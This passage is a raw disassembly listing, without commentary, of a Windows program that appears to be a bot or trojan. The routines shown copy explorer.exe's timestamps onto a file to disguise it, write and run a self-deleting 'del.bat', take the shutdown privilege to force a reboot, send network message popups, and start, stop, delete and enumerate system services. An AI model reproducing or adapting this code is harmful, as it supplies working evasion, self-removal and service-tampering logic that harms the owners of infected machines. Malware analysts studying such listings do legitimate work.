var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		nop
		call	near ptr 27F0000h
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418332
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 27E0902h
		nop
		push	esi
		call	ebx

loc_418332:				; CODE XREF: sub_418293+2Aj
					; sub_418293+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418293	endp


; =============== S U B	R O U T	I N E =======================================



sub_418337	proc near		; CODE XREF: sub_401ACD+16B1p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CAEB4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418337	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418359	proc near		; CODE XREF: sub_401ACD+2754p
					; ___:0041686Bp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837D
		cmp	dword_4CB044, esi
		jnz	short loc_41837D
		push	esi
		call	sub_401000
		pop	ecx

loc_41837D:				; CODE XREF: sub_418359+13j
					; sub_418359+1Bj
		call	sub_40B2BF
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 26F0929h
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DD
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		push	edi
		nop
		call	near ptr 26509C3h
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D128
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 2670E16h
		nop
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2670D3Eh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418485
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		nop
		call	near ptr 2670BF0h

loc_418485:				; CODE XREF: sub_418359+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2650CD4h

loc_4184DD:				; CODE XREF: sub_418359+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418359	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E1	proc near		; CODE XREF: sub_401ACD+7232p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C0596h
		cmp	[ebp+var_84], 2
		jnz	short loc_418577
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CAEF4
		push	edi
		push	eax
		call	dword_4CAF04
		test	eax, eax
		jz	short loc_418569
		push	[ebp+arg_10]
		push	offset dword_43898C

loc_418542:				; CODE XREF: sub_4184E1+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		jmp	short loc_4185A1
; ---------------------------------------------------------------------------

loc_418569:				; CODE XREF: sub_4184E1+57j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_438964
		jmp	short loc_418542
; ---------------------------------------------------------------------------

loc_418577:				; CODE XREF: sub_4184E1+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438934
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4185A1:				; CODE XREF: sub_4184E1+86j
		pop	edi
		leave
		retn
sub_4184E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A4	proc near		; CODE XREF: sub_401ACD+55FEp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26C0596h
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FA
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E3
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FA
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185E3:				; CODE XREF: sub_4185A4+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F5
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FA

loc_4185F5:				; CODE XREF: sub_4185A4+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185FA:				; CODE XREF: sub_4185A4+27j
					; sub_4185A4+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26A0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26A0389h
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27803EEh
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418684	proc near		; CODE XREF: sub_40111D+F7p
					; ___:0040E6E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 268054Ch
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_427700
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418684	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C1	proc near		; CODE XREF: sub_401ACD:loc_406126p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418719
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4389B0[esi]
		push	edi
		push	eax
		call	sub_41873B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418709
		push	edi
		push	off_4389AC[esi]
		push	offset unk_438AC0

loc_4186F9:				; CODE XREF: sub_4186C1+56j
		mov	esi, offset dword_4DAFF0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418736
; ---------------------------------------------------------------------------

loc_418709:				; CODE XREF: sub_4186C1+2Aj
		push	eax
		call	sub_4187DD
		pop	ecx
		push	eax
		push	edi
		push	offset unk_438A94
		jmp	short loc_4186F9
; ---------------------------------------------------------------------------

loc_418719:				; CODE XREF: sub_4186C1+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DAFF0
		push	off_4389A8[eax*4]
		push	offset unk_438A70
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418736:				; CODE XREF: sub_4186C1+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873B	proc near		; CODE XREF: sub_4186C1+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CAF68
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418762
		nop
		call	near ptr 267084Ch
		mov	ebx, eax
		jmp	short loc_4187D7
; ---------------------------------------------------------------------------

loc_418762:				; CODE XREF: sub_41873B+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CAE50
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418782
		call	near ptr 267084Ch
		nop
		mov	ebx, eax
		jmp	short loc_4187CF
; ---------------------------------------------------------------------------

loc_418782:				; CODE XREF: sub_41873B+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B5
		cmp	eax, 3
		jz	short loc_4187A6
		jle	short loc_4187C8
		cmp	eax, 6
		jg	short loc_4187C8
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CAEBC
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187A6:				; CODE XREF: sub_41873B+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CAE58
		jmp	short loc_4187BC
; ---------------------------------------------------------------------------

loc_4187B5:				; CODE XREF: sub_41873B+4Dj
		push	esi
		call	dword_4CAEC0

loc_4187BC:				; CODE XREF: sub_41873B+69j
					; sub_41873B+78j
		test	eax, eax
		jnz	short loc_4187C8
		nop
		call	near ptr 267084Ch
		mov	ebx, eax

loc_4187C8:				; CODE XREF: sub_41873B+54j
					; sub_41873B+59j ...
		push	esi
		call	dword_4CAE6C

loc_4187CF:				; CODE XREF: sub_41873B+45j
		push	edi
		call	dword_4CAE6C
		pop	esi

loc_4187D7:				; CODE XREF: sub_41873B+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DD	proc near		; CODE XREF: sub_4186C1+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418892
		jz	loc_41888B
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418855
		jz	short loc_41884B
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418841
		dec	ecx
		dec	ecx
		jz	short loc_418837
		dec	ecx
		jz	short loc_41882D
		sub	ecx, 51h
		jz	short loc_418823
		sub	ecx, 24h
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418823:				; CODE XREF: sub_4187DD+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41882D:				; CODE XREF: sub_4187DD+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418837:				; CODE XREF: sub_4187DD+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418841:				; CODE XREF: sub_4187DD+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_41884B:				; CODE XREF: sub_4187DD+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418855:				; CODE XREF: sub_4187DD+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418884
		dec	ecx
		jz	short loc_41887D
		dec	ecx
		jz	short loc_418876
		dec	ecx
		jnz	loc_418908	; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FA
; ---------------------------------------------------------------------------

loc_418876:				; CODE XREF: sub_4187DD+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41887D:				; CODE XREF: sub_4187DD+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418884:				; CODE XREF: sub_4187DD+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_41888B:				; CODE XREF: sub_4187DD+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_418892:				; CODE XREF: sub_4187DD+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F5
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418908 ; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418949[ecx]
		jmp	off_418921[ecx*4] ; switch jump

loc_4188B6:				; DATA XREF: ___:off_418921o
		push	offset aTheSpecifiedDa ; jumptable 004188AF case 7
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188BD:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDepe ; jumptable 004188AF case 17
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188C4:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceDe_0 ; jumptable 004188AF case 10
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188CB:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasB ; jumptable 004188AF case 0
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D2:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheSpecified_0 ; jumptable 004188AF case 2
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188D9:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceCoul ; jumptable 004188AF case 11
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E0:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHa_0 ; jumptable 004188AF case 14
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188E7:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheRequested_1 ; jumptable 004188AF case 3
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188EE:				; CODE XREF: sub_4187DD+D2j
					; DATA XREF: ___:off_418921o
		push	offset aTheServiceHasN ; jumptable 004188AF case 4
		jmp	short loc_4188FA
; ---------------------------------------------------------------------------

loc_4188F5:				; CODE XREF: sub_4187DD+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."

loc_4188FA:				; CODE XREF: sub_4187DD+41j
					; sub_4187DD+4Bj ...
		push	offset dword_4DA930
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891B
; ---------------------------------------------------------------------------

loc_418908:				; CODE XREF: sub_4187DD+36j
					; sub_4187DD+89j ...
		push	eax		; default
					; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DA930
		call	sub_41B886
		add	esp, 0Ch

loc_41891B:				; CODE XREF: sub_4187DD+129j
		mov	eax, offset dword_4DA930
		retn
sub_4187DD	endp

; ---------------------------------------------------------------------------
off_418921	dd offset loc_4188CB	; DATA XREF: sub_4187DD+D2r
		dd offset loc_4188D2	; jump table for switch	statement
		dd offset loc_4188E7
		dd offset loc_4188EE
		dd offset loc_4188B6
		dd offset loc_4188C4
		dd offset loc_4188D9
		dd offset loc_4188E0
		dd offset loc_4188BD
		dd offset loc_418908
byte_418949	db	0,     9,     1,     2 ; DATA XREF: sub_4187DD+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895B	proc near		; CODE XREF: sub_401ACD+45D3p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CAF68
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_418993:				; CODE XREF: sub_41895B+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CAF34
		test	eax, eax
		jnz	short loc_4189CD
		nop
		call	near ptr 267084Ch
		cmp	eax, 0EAh
		jnz	loc_418A81

loc_4189CD:				; CODE XREF: sub_41895B+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A78
		lea	esi, [ebp+var_188]

loc_4189DE:				; CODE XREF: sub_41895B+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A27
		dec	eax
		jz	short loc_418A20
		dec	eax
		jz	short loc_418A19
		dec	eax
		jz	short loc_418A12
		dec	eax
		jz	short loc_418A0B
		dec	eax
		jz	short loc_418A04
		dec	eax
		jz	short loc_4189FD
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_4189FD:				; CODE XREF: sub_41895B+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A04:				; CODE XREF: sub_41895B+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------

loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"

loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE

loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993

loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CAE6C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------

loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax

loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389A8[eax*4]
		push	offset unk_439054
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch

loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8

loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DABEC
		push	off_4389AC[eax*4]
		push	offset dword_439038
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------

loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DABEC
		lea	eax, [eax+eax*2]
		push	off_4389A8[eax*4]
		push	offset unk_439014
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DADEC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DADEC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DAB8C, eax

loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DAB8C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DAB8C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CAE68
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
